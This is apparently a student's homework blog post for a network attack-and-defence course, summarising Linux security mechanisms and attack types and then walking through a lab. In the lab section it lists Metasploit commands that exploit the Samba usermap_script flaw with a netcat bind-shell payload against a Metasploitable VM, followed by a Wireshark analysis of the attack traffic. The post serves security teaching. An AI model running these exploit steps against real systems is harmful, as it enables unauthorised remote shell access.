20199118 2019-2020-2 《网络攻防实践》第八周作业

学号:20199118 2019-2020-2 《网络攻防实践》第八周作业

1.知识点梳理与总结

在第八章的课程中学习了Linux操作系统基本框架概述的重要内容:

① 安全模型
  • Linux具有的优势:跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能

  • Linux系统结构:内核结构,即大量的内核模块与设备驱动程序共享内核态内存空间)

    • Linux进程与线程管理机制:Linux内核采用抢占式多用户多进程模式,多个进程并发,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块(PCB)结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。

    • Linux内存管理机制:允许多个进程安全地共享物理内存区域。Linux内存管理支持虚拟内存,虚拟内存的管理分为页式、段式和段页式;内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。

    • Linux文件管理机制:Linux内核使用虚拟文件管理VFS机制,从而使其能够支持数十种不同类型的逻辑文件系统,VFS虚拟文件管理为用户进程提供一组通用的文件系统调用函数,可以对不用文件系统中的文件进行统一操作。

    • Linux设备控制机制:Linux内核中处理或者管理硬件控制器的软件叫做设备驱动程序;Linux核心的设备驱动程序本质上是提权、驻留内存的低级的硬件控制例程的共享库;Linux的一个基本特点是抽象了设备的处理,所有的硬件设备都像常规文件一样对待,Linux支持的三类硬件设备:字符设备、块设备和网络设备。

    • Linux网络机制:Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈负责实现每一种可能的网络传输协议,网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。

    • Linux系统调用机制:Linux提供系统调用接口允许应用程序透过这层接口来访问硬件设备和其他系统资源,这有助于保证Linux系统的稳定可靠和安全,并为用户空间提供一种统一的抽象接口,有助于应用程序的跨平台移植。

②Linux操作系统安全机制
  • 与Windows操作系统类似,Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计这三个部分。

  • Linux身份认证机制:

    • Linux用户:用户作为执行进程完成特定操作任务的主体,用户具有不同角色类型,Root根用户(就像是古代的皇帝一样在系统中拥有至高无上的权利!)、普通用户(由使用者创建的登录系统并执行基本计算任务的用户)、系统用户(不具有登录功能,但是系统运行不可缺少的用户)
    • Linux用户组:Group是具有相同特征的用户账号集合,用于简化整个系统的用户权限管理
    • Linux本地登录用户认证机制:Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,基本流程是:由init进程启动getty产生若干个虚拟控制台。在控制台上显示登录,党用户输入用户时,getty执行登录进程,进入登录认证过程,认证成功后,登录进程会fork相应用户Shell子进程,至此完成登录过程,用户可以在对应的Shell下开始工作
    • Linux远程登录用户认证机制:Linux系统从UNIX系统继承了rlogin、rsh服务来提供远程用户登录和访问,此外也支持telnet来提供终端服务;目前普遍使用SSH服务(教材173页,通过使用SSH可以对所有传输的数据进行加密,从而防御网络嗅探和中间人攻击);SSH提供两种方式的用户身份认证机制:第一种为基于口令的身份认证,使用Linux系统内建的用户账号和口令;第二种是基于非对称密钥的身份认证(密码学中详细介绍,这里不赘述);
    • Linux统一身份认证中间件——PAM:PAM(Pluggable Authentication Modules:可插入身份认证模块),作为一种验证用户身份的灵活与标准方法;PAM中间件的结构与使用方式如下图:
  • **Linux授权与访问控制机制: **Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限、一些特殊权限位来进行系统的授权与访问控制;

  • *文件的所有者(ownership): **表明文件属于哪个用户所有;

  • 文件的访问权限(access rights):通过所附带的10个标志位来进行设置,其中第一个标志位用来区分文件类型,"-"表示普通文件,"d"表示目录,"l"表示符号链接,"b"表示块设备文件,"c"表示字符设备等;第2~10位每3个一组分为3组,分别表示文件所有者、与所有者同组用户、其他用户对该文件的读、写、执行权限。

  • 文件的特殊执行权限:被称为“特权”,常见的是SUID与SGID权限,SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限;SGID功能与SUID类似。

  • Linux访问控制机制的不足及改进:Linux采用的访问控制机制比较简单高效,但仅分为三种类型的访问权限,无法做到更细粒的权限控制。

  • Linux安全审计机制:主要通过三个主要的日志子系统来实现,连接时间日志、进程统计日志、错误日志记录;除了这些事件日志外,Linux内核还集成了审计守护进程(Linux Audit daemon)来帮助系统管理员检测系统用户对某些安全措施的违背。

③ Linux系统远程攻防技术
  • 针对Linux系统的攻击遵循系统攻击统一的逻辑流程:①攻击者首先利用踩点、扫描和查点等技术手段收集关于目标Linux系统的信息;②攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,获取本地Shell访问权;③转入本地攻击环节,利用各类提权技术获取Linux系统最高权限。

  • Linux远程口令字猜测攻击:攻击者通过网络协议远程猜测成功一组用户名和口令,以此远程登录到Linux系统上,获得本地的访问权;支持攻击者进行自动化的远程口令猜测工具比较流行的有:Brutus、THC Hydra、Cain and Abel

  • Linux网络服务远程渗透攻击:

    • Linux系统安全漏洞、渗透攻击与补丁更新过程:Linux采用独创性的“集市”开发模式,使得它的安全漏洞生命周期具有一些显著的特性:①Linux系统都是开放源代码,黑客们可以分析源代码并从中挖掘漏洞;②发现漏洞之后再报告给相应的开发团队;③修补补丁;④如果安全漏洞未被报告被用于渗透攻击与利用会造成Linux系统最重要的安全威胁;⑤更新软件版本和修补漏洞;⑥公开披露漏洞;⑦在黑客社区中也可能出现渗透利用代码。

    • 针对Linux系统网络服务的远程渗透攻击:

    • Linux内核中的网络协议栈实现:是每个网络服务所依赖的基础平台,因此一旦这些代码存在远程代码执行危害后果的安全漏洞,那么无论该Linux系统开放何种服务,都可以被攻击者进行远程渗透攻击;

    • LAMP Web网站构建解决方案中的网络服务:LAMP(Linux/Apache/MySQL/PHP)是目前最流行的Web网站构建解决方案;

    • FTP、Samba等文件共享服务:FTP服务是互联网上非常古老的网络服务,用于文件交换和共享传输;Samba是用来让Linux等类UNIX的操作系统与Windows系统SMB/CIFS网络协议相连接的网络服务,Samba服务软件在类UNIX与Windows之间架起一座互通的桥梁。

    • 电子邮件收发服务:Sendmail

  • 其他网络服务:OpenSSH、OpenSSL、NFS原理及安装配置、SNMP简单网络管理协议、SUNRPC、DNS&BIND基础知识、X-Window简介等。

  • 针对网络服务远程渗透攻击的安全防范措施:①禁用所有不必要的网络服务;②尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署;③及时更新网络服务版本;④使用xinetd、防火墙为Linux网络服务添加网络访问控制机制;⑤建立入侵检测与应急响应计划流程。

  • 攻击Linux客户端程序和用户

    • 攻击Linux平台上的客户端程序:主要是Web浏览器和电子邮件客户端

    • 攻击Linux系统用户:常见的攻击手法包括在电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或而已文档,访问某些恶意网页

    • 针对客户端与用户攻击的安全防范措施:①及时更新客户端软件;②提高用户自身的安全意识防止社会工程学攻击;③对用户而言养成下载软件的MD5校验

  • 攻击Linux路由器和监听器:除了上述的三种远程渗透攻击通道之外,Linux系统最容易让人忽视的是作为路由器和监听器网络设备时,在进行路由器转发或者数据包嗅探时,所遭受的特殊数据包攻击

    • 攻击Linux路由器与防火墙:主要是拒绝服务漏洞攻击、利用Linux防火墙的漏洞构造能够绕过防火墙规则的攻击数据包
    • 攻击监听器&入侵检测器:主流的开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统。
    • 针对路由器与监听器攻击的安全防范措施:网络管理员应建立一种安全对抗与博弈的意识,首先应意识到网络与安全设备自身的安全性和可用性,还需站在攻击者角度尝试进行渗透攻击确保所采用的防御体系不会被普通攻击者所绕过。
④Linux系统本地安全攻防技术
  • Linux本地特权提升:本地特权的提升最主要的是获取到Root权限进行运行,常用的手段有:破解出Root用户的口令,然后执行su或sudo命令进行提升;发掘并利用su或sudo程序中的安全漏洞;攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞;从系统中搜索全局可写的敏感文件与目录位置并加以利用。

  • 除此之外还有:

    • Linux用户口令字破解
    • 利用sudo的缺陷进行特权提升
    • 利用用户态SUID程序漏洞进行特权提升
    • 针对SUID程序的本地缓冲区溢出攻击
    • 针对SUID程序的符号链接攻击
    • 针对SUID程序的竞争条件攻击
    • 针对SUID程序的共享函数库攻击
    • 利用内核空间代码漏洞进行特权提升
    • 利用系统配置不当实施本地特权提升
    • 针对Linux本地特权提升攻击的防范技术与措施
    • Linux系统上的消踪灭迹
    • Linux系统远程控制后门程序

2.实践过程

实践一: 使用Metasploit进行Linux远程渗透攻击:
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取目标Linux靶机的主机权限访问权。

  • 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
  • 选择攻击PAYLOAD为远程shell
  • 设置攻击参数
  • 执行攻击
  • 查看是否得到正确的远程shell
虚拟机 IP
Kali-Linux 192.168.237.129
MetaSploitable-Linux 172.16.8.128
  • 通过指令msfconsole打开metasploit命令行

  • 输入use exploit/multi/samba/usermap_script进入渗透攻击模块

  • 输入show payloads查看漏洞的载荷

  • 输入set payload cmd/unix/bind_netcat设置载荷,此载荷是支持双向连接;输入
    set LHOST 192.168.237.129
    set RHOST 172.16.8.128
    设置本地主机kali和靶机的IP,并使用exploit执行攻击。

  • 执行成功后输入shell指令查看是否正确获取远程Linux主机权限。如下图所示,ifconfig返回的的确是靶机的IP地址,使用whoami查看当前的用户。

实践二:攻防对抗实践
任务:攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方使用wireshark捕获攻击流并进行分析,同时打上补丁

  • 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
  • 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。
虚拟机 IP
Kali-Linux 192.168.237.129
MetaSploitable-Linux 172.16.8.128
  • 攻击方

  • 再次发起实验一中的攻击,此处不再赘述。(参照上文)

  • 防守方

  • 使用Wireshark进行数据包的捕获,可以看到攻击机首先确定了TCP是否正确通信,确定1099端口是否可用。这也就是攻击开始的时间。

  • 再次发起实验一中的攻击使用wireshark进行监听

  • 二者之前已经建立过连接,所以看到攻击机192.168.237.129向靶机172.16.8.128发送了TCP数据包,,攻击发起时间由图可知,从编号1开始,攻击机开始尝试连接靶机的4444端口

  • 追踪取得控制权之后的数据包TCP流,可以看到攻击机在本地执行的命令

3.学习中遇到的问题及解决

  • 问题①:第一次攻击尝试时连接超时。
  • 问题①的解决方案:重启各种虚拟机,更换载荷。

4.学习感悟、思考等

  • 加深了对网络攻防技术的认识,理论与实践相结合,提高了自己对使用网络安全防范技术的能力。
  • 培养了实践学习的能力,对网络攻防的实际运用产生了极大的兴趣。

参考资料

posted @ 2020-04-22 11:06  陈剑源  阅读(127)  评论(0编辑  收藏  举报